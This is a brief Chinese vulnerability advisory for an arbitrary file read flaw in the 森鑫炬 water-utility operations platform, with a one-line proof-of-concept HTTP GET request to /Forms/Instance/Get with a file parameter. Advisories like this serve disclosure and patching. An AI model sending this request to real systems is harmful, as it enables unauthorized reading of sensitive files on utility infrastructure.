森鑫炬水务企业综合运营平台 /Forms/Instance/Get 文件读取漏洞

日期: 2025-07-24 | 影响软件: 森鑫炬水务企业综合运营平台 | POC: 已公开

漏洞描述

森鑫炬水务企业综合运营平台 /Forms/Instance/Get 存在任意文件读取漏洞,攻击者可获取系统内部敏感文件内容，造成信息泄露。

PoC代码

GET /Forms/Instance/Get?file=C://x HTTP/1.1

相关漏洞推荐